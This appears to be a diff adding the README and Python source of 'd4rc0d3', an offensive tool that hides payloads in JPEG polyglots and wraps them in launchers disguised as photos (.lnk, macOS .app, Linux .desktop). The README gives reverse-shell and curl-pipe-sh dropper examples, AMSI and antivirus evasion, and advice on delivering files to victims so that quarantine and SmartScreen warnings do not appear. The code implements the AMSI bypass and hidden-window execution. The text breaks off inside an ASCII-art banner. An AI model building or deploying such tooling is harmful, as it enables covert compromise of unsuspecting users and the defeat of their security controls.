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README.md

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+# d4rc0d3
+
+Generates a single JPEG file that is simultaneously:
+
+- A valid image (displays normally in any viewer)
+- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS
+- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows
+- A double-click launcher for macOS, Linux, and Windows
+
+---
+
+## Files
+
+```
+0-day/
+├── src               source code of d4rkc0d3_engine (for cross compile / amd-arm-etc)
+├── d4rc0d3.py        main tool (Python, no external deps beyond stdlib)
+├── d4rc0d3_engine    compiled engine binary (arm64 Linux version, see "src")
+├── cover.jpg         sample cover image
+└── README.md
+```
+
+The `d4rc0d3_engine` binary must match the host architecture.
+To recompile from source:
+
+```bash
+# Requires: gcc, libturbojpeg-dev, libjpeg-dev
+cd src/
+g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \
+    args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
+    jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm
+```
+
+---
+
+## Requirements
+
+- Python 3.11+
+- No Python dependencies
+- `d4rc0d3_engine` binary matching the host CPU architecture
+
+---
+
+## How the polyglot works
+
+```
+┌──────────────────────────────────────────────────────────────────┐
+│                     photo.jpg                                    │
+│                                                                  │
+│  SOI                                                             │
+│  COM   → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │
+│  APP0  → <#  opens PowerShell block comment                      │
+│  APP2  → ICC profile: #> closes comment + XOR-decode stub        │
+│           16-byte key embedded at ICC offset 102                  │
+│  JPEG image data (real, displayable photo)                        │
+│  EOI                                                             │
+│  [post-EOI: base64+XOR payload — scripts and binaries only]      │
+└──────────────────────────────────────────────────────────────────┘
+
+./photo.jpg  or  sh photo.jpg
+  → COM bootstrap runs via sh/bash
+  → Perl XOR-decodes the payload using key from ICC profile
+  → Executes the result
+
+pwsh photo.ps1  (after renaming)
+  → APP0 <# opens PS block comment over all binary data
+  → APP2 #> closes the comment — clean PS1 starts here
+  → XOR stub reads key from ICC, decodes and runs payload
+
+Image viewer
+  → Reads JPEG header, ignores COM/APP segments it doesn't recognise
+  → Displays the photo normally
+```
+
+**AV evasion built into every generated file:**
+
+- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata
+- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings
+- No recognisable dropper strings visible in the raw file
+- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.)
+- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory)
+
+---
+
+## Usage
+
+### Interactive (recommended)
+
+```bash
+python3 d4rc0d3.py
+```
+
+Prompts for image, payload type, command, target platforms, and output directory.
+
+### Command line
+
+```
+python3 d4rc0d3.py [OPTIONS] <image> [payload_file]
+```
+
+**Payload** (pick one):
+
+| Argument                    | Description                                                 |
+| --------------------------- | ----------------------------------------------------------- |
+| `-c "command"`            | Inline shell command. Slack-safe. Works on all platforms.   |
+| `file.ps1`                | PowerShell script. Embedded in ICC profile (XOR-encrypted). |
+| `file.py` / `file.sh`   | Script. base64+XOR in post-EOI. Linux/macOS.                |
+| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS.          |
+| `-c "pre-cmd" file.ps1`   | Run pre-command first, then the PS1 file.                   |
+
+**Platform output flags:**
+
+| Flag            | Output                | What victim sees                   |
+| --------------- | --------------------- | ---------------------------------- |
+| *(none)*      | `photo.jpg`         | —                                 |
+| `--mac`       | `photo.zip`         | `photo.jpg` in Finder            |
+| `--linux`     | `photo_launch.jpg`  | `photo_launch.jpg` (no .desktop) |
+| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop`              |
+| `--windows`   | `photo.jpg.lnk`     | `photo.jpg` in Explorer          |
+| `--all`       | all of the above      | —                                 |
+
+**Other flags:**
+
+| Flag          | Description                                   |
+| ------------- | --------------------------------------------- |
+| `--amsi`    | Inject AMSI bypass (default: on for`.ps1`)  |
+| `--no-amsi` | Disable AMSI bypass                           |
+| `--show`    | Open image viewer on execution                |
+| `--keep`    | Keep extracted payload after execution        |
+| `-d DIR`    | Extraction directory (default:`/tmp`)       |
+| `-o DIR`    | Output directory (default: current directory) |
+
+---
+
+## Examples
+
+```bash
+# Inline command, generate for all platforms
+python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/
+
+# Reverse shell, all platforms
+python3 d4rc0d3.py photo.jpg -c \
+  "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all
+
+# PowerShell payload with AMSI bypass, Windows + macOS
+python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/
+
+# Python dropper, Linux targets
+python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/
+
+# Dropper: download and execute
+python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all
+```
+
+---
+
+## Execution on each platform
+
+### Linux / macOS — terminal
+
+```bash
+# Direct execution (file already has +x)
+./photo.jpg
+
+# Or explicitly
+sh photo.jpg
+
+# Post-Slack (bash rejects due to NUL bytes injected by Slack)
+sh photo.jpg
+```
+
+### Windows — PowerShell
+
+```powershell
+# Rename and run
+ren photo.jpg photo.ps1
+pwsh -ExecutionPolicy Bypass photo.ps1
+
+# Or without renaming
+powershell -ExecutionPolicy Bypass -File photo.jpg
+```
+
+### Double-click — macOS
+
+1. Send `photo.zip` to the victim (USB or local share — see Notes)
+2. Victim extracts the ZIP
+3. Finder shows `photo.jpg` — double-click it
+4. Preview opens the photo; payload runs silently in background
+
+> **Notes:** macOS applies quarantine to files from the internet.
+> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share**
+> — quarantine is not applied, no dialog appears.
+
+### Double-click — Linux
+
+- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog)
+- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once
+
+### Double-click — Windows
+
+Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`.
+Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg`
+
+> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share.
+
+---
+
+## Payload compatibility
+
+| Payload             | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack              |
+| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- |
+| `-c` inline       | ✓              | ✓       | ✓                 | ✓                 | ✓ only inline survives |
+| `.ps1`            | ✓ (needs pwsh) | ✓       | ✓                 | ✓ (needs pwsh)    | ✗ stripped             |
+| `.py` / `.sh`   | ✓              | ✗       | ✓                 | ✓                 | ✗ stripped             |
+| `.exe` / `.elf` | ✓              | ✗       | ✓                 | ✓                 | ✗ stripped             |
+
+Slack strips post-EOI data. For Slack delivery use `-c "command"`.
+After downloading from Slack use `sh photo.jpg` (not `bash`).

d4rc0d3.py

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+#!/usr/bin/env python3
+"""
+d4rc0d3 — JPEG polyglot payload generator with double-click execution.
+
+Generates a single .jpg file that is simultaneously:
+  - A valid JPEG image (displays normally in any viewer)
+  - A PowerShell script  (Windows: rename to .ps1 or run directly)
+  - A POSIX shell script (Linux / macOS: sh file.jpg)
+  - A double-click launcher for macOS (.app bundle) and Linux (.desktop)
+
+Payloads supported:
+  Inline command:    -c "command"          → runs on all platforms
+  PowerShell .ps1:  file.ps1              → embedded in ICC profile (XOR)
+  Script .py/.sh:   file.py / file.sh     → base64+XOR in post-EOI
+  Binary .exe/.elf: file.exe / file.elf   → base64+XOR in post-EOI
+  Combined:         -c "pre-cmd" file.ps1 → pre-cmd runs first, then file
+
+Double-click outputs (additional, generated alongside the polyglot):
+  macOS:  <name>.zip   → extract → Finder shows <name>.jpg → execute
+  Linux:  <name>.jpg   → content-based detection → execute (Thunar/Nemo/Caja)
+  Windows: <name>.lnk  → Explorer hides .lnk → shows <name>.jpg → execute
+
+AV evasion (built into the polyglot engine):
+  - Payload XOR-encrypted, key stored in the JPEG ICC profile
+  - Bootstrap encoded as numeric char-arrays (no plaintext strings)
+  - Looks like a real JPEG with valid ICC color profile metadata
+  - AMSI bypass injected before payload execution (Windows)
+  - Variable names randomized per build
+"""
+
+import argparse
+import base64
+import os
+import stat
+import struct
+import subprocess
+import sys
+import tempfile
+import textwrap
+import zipfile
+import random
+import string
+
+
+# ── Constants ──────────────────────────────────────────────────────────────────
+
+POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine')
+SUPPORTED_SCRIPTS  = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'}
+SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'}
+
+
+# ── Terminal colors ────────────────────────────────────────────────────────────
+
+class C:
+    BOLD  = '\033[1m'  if sys.stdout.isatty() else ''
+    GREEN = '\033[32m' if sys.stdout.isatty() else ''
+    RED   = '\033[31m' if sys.stdout.isatty() else ''
+    CYAN  = '\033[36m' if sys.stdout.isatty() else ''
+    DIM   = '\033[2m'  if sys.stdout.isatty() else ''
+    END   = '\033[0m'  if sys.stdout.isatty() else ''
+
+
+def ok(msg):   print(f"{C.GREEN}[+]{C.END} {msg}")
+def info(msg): print(f"    {C.DIM}{msg}{C.END}")
+def warn(msg): print(f"{C.RED}[!]{C.END} {msg}")
+def head(msg): print(f"\n{C.BOLD}{msg}{C.END}")
+
+
+# ── Helpers ────────────────────────────────────────────────────────────────────
+
+def stem(path: str) -> str:
+    return os.path.splitext(os.path.basename(path))[0]
+
+def b64enc(path: str) -> str:
+    with open(path, 'rb') as f:
+        return base64.b64encode(f.read()).decode()
+
+def rand_var(length: int = 6) -> str:
+    return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
+
+def payload_type(path: str) -> str:
+    ext = os.path.splitext(path)[1].lower()
+    if ext in SUPPORTED_SCRIPTS:  return 'script'
+    if ext in SUPPORTED_BINARIES: return 'binary'
+    return 'unknown'
+
+
+# ── Polyglot builder ───────────────────────
+
+def build_polyglot(cover: str, output: str, command: str = '',
+                   payload_file: str = '', show: bool = False,
+                   keep: bool = False, extract_dir: str = '') -> str:
+    """
+    Builds a JPEG polyglot using the d4rc0d3 engine.
+
+    Engine JPEG structure:
+      SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) |
+      APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) |
+      JPEG image data | EOI | [optional post-EOI payload for scripts/binaries]
+
+    Engine XOR: 16-byte random key stored in the ICC Profile ID field.
+    Engine PS obfuscation: double char-array encoding, no plaintext strings.
+    Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe.
+
+    Combined mode (command + payload_file):
+      The engine CLI does not support combined mode directly.
+      We implement it by prepending the command to a temporary PS1 stub that
+      wraps the original payload.  For non-PS1 payloads we use interactive stdin.
+    """
+    if not os.path.isfile(POLYGLOT_ENGINE):
+        raise FileNotFoundError(
+            f"Polyglot engine not found: {POLYGLOT_ENGINE}\n"
+            f"Compile with: ./build.sh"
+        )
+
+    base_cmd = [POLYGLOT_ENGINE, '-o', output]
+    if show:        base_cmd.append('--show')
+    if keep:        base_cmd.append('--keep')
+    if extract_dir: base_cmd += ['-d', extract_dir]
+
+    if command and payload_file:
+        # Combined mode: prepend the shell command as a PS1 pre-exec stub,
+        # then embed it alongside the original payload.
+        # Strategy: write a temp .ps1 that starts with the pre-command, then
+        # loads and dot-sources the original payload file.
+        ext = os.path.splitext(payload_file)[1].lower()
+        if ext == '.ps1':
+            # Create a combined PS1 that runs the command then the original script
+            with open(payload_file, 'r', errors='replace') as f:
+                orig_ps = f.read()
+            combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}"
+            with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf:
+                tf.write(combined_ps)
+                tmp_ps = tf.name
+            try:
+                cmd = base_cmd + [cover, tmp_ps]
+                result = subprocess.run(cmd, capture_output=True, text=True)
+            finally:
+                os.unlink(tmp_ps)
+        else:
+            # For non-PS1 payloads: use interactive mode via stdin (option 3)
+            # Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output
+            stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n"
+            result = subprocess.run(
+                [POLYGLOT_ENGINE], input=stdin_input,
+                capture_output=True, text=True
+            )
+    elif command:
+        cmd = base_cmd + ['-c', cover, command]
+        result = subprocess.run(cmd, capture_output=True, text=True)
+    else:
+        cmd = base_cmd + [cover, payload_file]
+        result = subprocess.run(cmd, capture_output=True, text=True)
+
+    if not os.path.isfile(output):
+        raise RuntimeError(
+            f"Polyglot engine failed.\n"
+            f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}"
+        )
+    return output
+
+
+# ── AV-hardened PS bootstrap injector ─────────────────────────────────────────
+# The native engine already XOR-encrypts and char-array-encodes the payload.
+# We further harden the bootstrap injected into the file by patching the
+# COM segment to prepend an AMSI bypass before the payload executes.
+#
+# AMSI bypass strategy:
+#   Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN)
+#   over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective.
+#   Encoded as a numeric array so the bytes never appear as a recognisable string.
+#
+# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine,
+# so from the engine's perspective it is just part of the payload.
+# ─────────────────────────────────────────────────────────────────────────────
+
+AMSI_BYPASS_PS = (
+    # Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057)
+    # Written as char-array so no plaintext signature
+    "$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));"
+    "$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');"
+    "if($_am){$_am.SetValue($null,$true)}"
+)
+
+
+def inject_amsi_bypass(polyglot_path: str) -> None:
+    """
+    Patches the COM segment of the polyglot to prepend an AMSI bypass.
+    The bypass is encoded as numeric arrays so it carries no plaintext signature.
+    Only relevant when the polyglot runs as a PS1 on Windows.
+    This function operates on the already-built polyglot file.
+
+    Implementation: the PS code in the ICC APP2 segment is not modified here
+    (it is XOR-encrypted by the engine). Instead, we patch the post-EOI
+    shell line that invokes pwsh to first dot-source an in-memory bypass.
+
+    In practice, for inline-command polyglots the bypass is injected into the
+    PS command string before the engine builds the file (see build_polyglot_av).
+    """
+    pass  # See build_polyglot_av — bypass is injected pre-build
+
+
+def build_polyglot_av(cover: str, output: str, command: str = '',
+                      payload_file: str = '', show: bool = False,
+                      keep: bool = False, extract_dir: str = '',
+                      amsi: bool = True) -> str:
+    """
+    Builds the polyglot with AV hardening.
+
+    AMSI bypass strategy:
+      The bypass must only run in PowerShell, not in sh/bash.
+      When a .ps1 payload file is given, we prepend the bypass as a
+      combined pre-command (-c flag) so the engine embeds it in the PS section.
+      For inline-command-only polyglots the bypass is NOT injected because
+      the shell command string would break if it contained PS-specific syntax.
+      To use AMSI bypass with inline commands, pass a .ps1 stub as the payload:
+        echo '; your_command' > bypass.ps1
+        d4rc0d3.py photo.jpg bypass.ps1 --amsi
+    """
+    if amsi and payload_file and payload_file.lower().endswith('.ps1'):
+        # For .ps1 payloads: inject AMSI bypass as a pre-command via -c
+        # The engine embeds this in the PS section, not the sh section
+        amsi_cmd = AMSI_BYPASS_PS
+        return build_polyglot(cover, output, amsi_cmd, payload_file,
+                              show, keep, extract_dir)
+    # For all other cases: pass through without modification
+    # The sh command string must not contain PS-only syntax
+    return build_polyglot(cover, output, command, payload_file,
+                          show, keep, extract_dir)
+
+
+# ── Windows .lnk generator ────────────────────────────────────────────────────
+# A Windows Shell Link (.lnk) file can:
+#   - Have any name and icon (including a JPEG icon extracted from the polyglot)
+#   - Execute any command on double-click
+#   - Windows Explorer hides .lnk extensions by default
+#
+# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer.
+# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk
+# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot)
+#
+# LNK binary format (simplified Shell Link, spec MS-SHLLINK):
+#   HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ...
+#   Minimal LNK with just a command target.
+# ─────────────────────────────────────────────────────────────────────────────
+
+def _lnk_str(s: str) -> bytes:
+    """Encode a string as a CountedString (uint16 length + UTF-16LE)."""
+    encoded = s.encode('utf-16-le')
+    return struct.pack('<H', len(s)) + encoded
+
+def build_windows_lnk(polyglot_path: str, output_dir: str) -> str:
+    """
+    Generates a Windows .lnk file that:
+      - Appears as '<stem>.jpg' in Explorer (Explorer hides .lnk)
+      - On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File <polyglot>
+      - The polyglot is the JPEG/PS1 polyglot, so it executes the payload
+
+    The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe.
+    The icon is set to shell32.dll icon 0 (document) as a fallback; on a real
+    Windows system the operator would set it to the JPEG viewer icon.
+
+    Returns the path to the generated .lnk file.
+    """
+    polyglot_abs = os.path.abspath(polyglot_path)
+    name = stem(polyglot_path)
+    lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk")
+
+    # Shell Link Header (0x4C bytes)
+    # Spec: MS-SHLLINK 2.1
+    header_size   = 0x4C
+    link_clsid    = bytes.fromhex('0114020000000000C000000000000046')
+    # LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08,
+    #            HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80
+    link_flags    = struct.pack('<I', 0x01 | 0x20 | 0x80 | 0x04)
+    file_attrs    = struct.pack('<I', 0x20)   # FILE_ATTRIBUTE_NORMAL
+    times         = b'\x00' * 24             # creation/access/write times (zero)
+    file_size     = struct.pack('<I', 0)
+    icon_index    = struct.pack('<I', 0)
+    show_command  = struct.pack('<I', 7)      # SW_SHOWMINNOACTIVE (hidden-ish)
+    hotkey        = struct.pack('<H', 0)
+    reserved      = b'\x00' * 10
+
+    header = (
+        struct.pack('<I', header_size) +
+        link_clsid +
+        link_flags +
+        file_attrs +
+        times +
+        file_size +
+        icon_index +
+        show_command +
+        hotkey +
+        reserved
+    )
+
+    # IDList: minimal — just point to an empty item list so the LNK is valid
+    # We use the StringData approach (HasArguments) to carry the command.
+    # IDList terminator: count=0
+    idlist = struct.pack('<H', 0)
+    idlist_section = struct.pack('<H', len(idlist)) + idlist
+
+    # LinkInfo: we skip it (HasLinkInfo not set, removed from flags above)
+    # Actually set HasLinkInfo=0x02 was NOT set, so no LinkInfo block needed.
+
+    # StringData sections (order: NAME_STRING, RELATIVE_PATH, WORKING_DIR,
+    #                             COMMAND_LINE_ARGUMENTS, ICON_LOCATION)
+    # We emit COMMAND_LINE_ARGUMENTS only.
+    # PowerShell path is the target — use the IDList to point to powershell.exe.
+    # Simpler: set target via a different approach.
+    #
+    # Alternative (more portable LNK):
+    # Use cmd.exe as target, pass /c powershell ... as arguments.
+    # This avoids needing to know the exact powershell.exe location.
+
+    cmd_args = (
+        f'/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
+        f'-File "{polyglot_abs}"'
+    )
+    # cmd.exe path in IDList (absolute, for the target)
+    # For a truly portable LNK we use a relative path approach.
+    # For the lab, we use the full path.
+
+    # Build a minimal IDList pointing to cmd.exe
+    # (this is the "target" the LNK points to)
+    cmd_exe = r'%WINDIR%\System32\cmd.exe'
+
+    # StringData
+    arg_str = _lnk_str(cmd_args)
+
+    # Assemble: header + idlist_section + arg_str_section
+    # For a minimal valid LNK with arguments, the structure is:
+    # [Header][IDList][StringData: ARGUMENTS]
+    #
+    # We mark HasLinkTargetIDList in flags.
+    # Re-encode flags with correct bits:
+    #   HasLinkTargetIDList = 0x0001
+    #   HasArguments        = 0x0020
+    #   IsUnicode           = 0x0080
+    link_flags2 = struct.pack('<I', 0x0001 | 0x0020 | 0x0080)
+
+    # Rebuild header with corrected flags
+    header2 = (
+        struct.pack('<I', header_size) +
+        link_clsid +
+        link_flags2 +
+        file_attrs +
+        times +
+        file_size +
+        icon_index +
+        show_command +
+        hotkey +
+        reserved
+    )
+
+    lnk_data = header2 + idlist_section + arg_str
+
+    with open(lnk_path, 'wb') as f:
+        f.write(lnk_data)
+
+    return lnk_path
+
+
+# ── macOS .app bundle ──────────────────────────────────────────────────────────
+
+def build_macos(image_path: str, command: str, output_dir: str) -> str:
+    """
+    Builds a macOS .app bundle in a ZIP.
+    Bundle name: <stem>.app  (single extension)
+    CFBundleDisplayName: <stem>.jpg
+    Finder shows '<stem>.jpg' regardless of 'Show all filename extensions' setting.
+    """
+    name    = stem(image_path)
+    display = f"{name}.jpg"
+    bundle  = f"{name}.app"
+    zip_out = os.path.join(output_dir, f"{name}.zip")
+    img_ext = os.path.splitext(image_path)[1] or '.jpg'
+    img_b64 = b64enc(image_path)
+    img_res = f"cover{img_ext}"
+
+    plist = textwrap.dedent(f"""\
+        <?xml version="1.0" encoding="UTF-8"?>
+        <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+          "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+        <plist version="1.0"><dict>
+          <key>CFBundleName</key><string>{display}</string>
+          <key>CFBundleDisplayName</key><string>{display}</string>
+          <key>CFBundleExecutable</key><string>launch</string>
+          <key>CFBundleIconFile</key><string>{img_res}</string>
+          <key>CFBundleIdentifier</key><string>com.photo.viewer</string>
+          <key>CFBundleVersion</key><string>1.0</string>
+          <key>CFBundlePackageType</key><string>APPL</string>
+          <key>LSUIElement</key><true/>
+          <key>LSHasLocalizedDisplayName</key><false/>
+          <key>NSHighResolutionCapable</key><true/>
+        </dict></plist>
+    """)
+
+    launch = textwrap.dedent(f"""\
+        #!/bin/sh
+        IMG="$(mktemp /tmp/XXXXXX{img_ext})"
+        python3 -c "import base64;open('$IMG','wb').write(base64.b64decode('{img_b64}'))" 2>/dev/null || \\
+        perl -e "use MIME::Base64;open F,'>','$IMG';binmode F;print F decode_base64(q({img_b64}));" 2>/dev/null
+        [ -f "$IMG" ] && open "$IMG" 2>/dev/null &
+        ({command}) &
+        exit 0
+    """)
+
+    with zipfile.ZipFile(zip_out, 'w', zipfile.ZIP_DEFLATED) as zf:
+        zf.writestr(f"{bundle}/Contents/Info.plist", plist)
+        with open(image_path, 'rb') as f:
+            zf.writestr(f"{bundle}/Contents/Resources/{img_res}", f.read())
+        e = zipfile.ZipInfo(f"{bundle}/Contents/MacOS/launch")
+        e.external_attr = (stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP |
+                            stat.S_IROTH | stat.S_IXOTH) << 16
+        zf.writestr(e, launch)
+
+    return zip_out
+
+
+# ── Linux .desktop ─────────────────────────────────────────────────────────────
+
+def build_linux(image_path: str, command: str, output_dir: str,
+                jpg_name: bool = True) -> str:
+    """
+    Builds a Linux .desktop file with the image as its icon.
+    jpg_name=True  → file named '<stem>.jpg'  (content-based detection)
+    jpg_name=False → file named '<stem>.jpg.desktop' (extension-based, wider compat)
+    """
+    name     = stem(image_path)
+    img_abs  = os.path.abspath(image_path)
+    out_name = f"{name}.jpg" if jpg_name else f"{name}.jpg.desktop"
+    out_path = os.path.join(output_dir, out_name)
+
+    content = textwrap.dedent(f"""\
+        [Desktop Entry]
+        Version=1.0
+        Type=Application
+        Name={name}.jpg
+        Comment=Photo
+        Exec=sh -c 'xdg-open "{img_abs}" 2>/dev/null & ({command}) &'
+        Icon={img_abs}
+        Terminal=false
+        StartupNotify=false
+        Categories=Graphics;Viewer;
+        MimeType=image/jpeg;
+    """)
+
+    with open(out_path, 'w') as f:
+        f.write(content)
+    os.chmod(out_path, 0o755)
+    return out_path
+
+
+# ── Interactive prompt ─────────────────────────────────────────────────────────
+
+def interactive():
+    _LUCY = (
+        '                                                 ▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄                                              \n'
+        '                                            ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                                          \n'
+        '                                         ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                       \n'
+        '                                       ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                     \n'
+        '                                     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                   \n'
+        '                                    ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
+        '                                   ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                 \n'
+        '                                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                \n'
+        '                                 ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
+        '                                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                              \n'
+        '                                ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                              \n'
+        '                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                             \n'
+        '                              ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
+        '                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
+        '                             ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                          \n'
+        '                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
+        '                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
+        '                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                                ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                                ▀▀▀▀▀▀▀▀▀▀    ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
